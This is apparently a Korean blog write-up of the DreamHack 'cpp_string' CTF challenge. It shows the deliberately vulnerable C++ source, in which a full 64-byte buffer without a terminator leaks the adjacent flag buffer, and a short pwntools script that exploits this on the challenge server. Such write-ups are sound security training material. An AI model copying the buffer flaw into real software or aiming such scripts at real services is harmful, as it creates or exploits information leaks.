본문 바로가기

CTF/Pwnable

[DreamHack] cpp_string Write-up

코드분석

//g++ -o cpp_string cpp_string.cpp
#include <iostream>
#include <fstream>
#include <csignal>
#include <unistd.h>
#include <stdlib.h>

char readbuffer[64] = {0, };
char flag[64] = {0, };
std::string writebuffer;

void alarm_handler(int trash)
{
    std::cout << "TIME OUT" << std::endl;
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int read_file(){
	std::ifstream is ("test", std::ifstream::binary);
	if(is.is_open()){
        	is.read(readbuffer, sizeof(readbuffer));
		is.close();

		std::cout << "Read complete!" << std::endl;
        	return 0;
	}
	else{
        	std::cout << "No testfile...exiting.." << std::endl;
        	exit(0);
	}
}

int write_file(){
	std::ofstream of ("test", std::ifstream::binary);
	if(of.is_open()){
		std::cout << "Enter file contents : ";
        	std::cin >> writebuffer;
		of.write(writebuffer.c_str(), sizeof(readbuffer));
                of.close();
		std::cout << "Write complete!" << std::endl;
        	return 0;
	}
	else{
		std::cout << "Open error!" << std::endl;
		exit(0);
	}
}

int read_flag(){
        std::ifstream is ("flag", std::ifstream::binary);
        if(is.is_open()){
                is.read(flag, sizeof(readbuffer));
                is.close();
                return 0;
        }
        else{
		std::cout << "You must need flagfile.." << std::endl;
                exit(0);
        }
}

int show_contents(){
	std::cout << "contents : ";
	std::cout << readbuffer << std::endl;
	return 0;
}
	


int main(void) {
    initialize();
    int selector = 0;
    while(1){
    	std::cout << "Simple file system" << std::endl;
    	std::cout << "1. read file" << std::endl;
    	std::cout << "2. write file" << std::endl;
	std::cout << "3. show contents" << std::endl;
    	std::cout << "4. quit" << std::endl;
    	std::cout << "[*] input : ";
	std::cin >> selector;
	
	switch(selector){
		case 1:
			read_flag();
			read_file();
			break;
		case 2:
			write_file();
			break;
		case 3:
			show_contents();
			break;
		case 4:
			std::cout << "BYEBYE" << std::endl;
			exit(0);
	}
    }
}
  • case1: flag파일 읽고 저장, test파일 읽고 저장
  • case2: test파일 쓰기 
  • case3: readbuffer에 저장된 값 출력 

=> readbuffer를 꽉 채우면 flag[64]와 붙어있어 flag까지 출력 

 

 

익스플로잇

case2로 test파일을 64바이트 채운 후 case1으로 test파일을 읽고 readbuffer에 저장하자

그리고 case3로 readbuffer를 출력하면 flag까지 출력될 것이다 

 

익스플로잇 코드를 짜자 

from pwn import *
p = remote('host3.dreamhack.games', 15926)

p.recvuntil('[*] input : ')
p.sendline("2")
p.recvuntil('Enter file contents :')
p.sendline("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")
p.recvuntil('[*] input : ')
p.sendline("1")
p.recvuntil('[*] input : ')
p.sendline("3")


p.interactive()

 

flag가 나온다 

'CTF > Pwnable' 카테고리의 다른 글

[Dreamhack] dream's notepad revenge  (0) 2024.04.07
[Dreamhack] off_by_one_000 Write-up  (0) 2024.04.07
[DreamHack] environ Write-up  (0) 2024.04.07
[DreamHack] checkflag Write-up  (0) 2024.03.31
[Dreamhack] blindsc Write-up  (0) 2024.03.31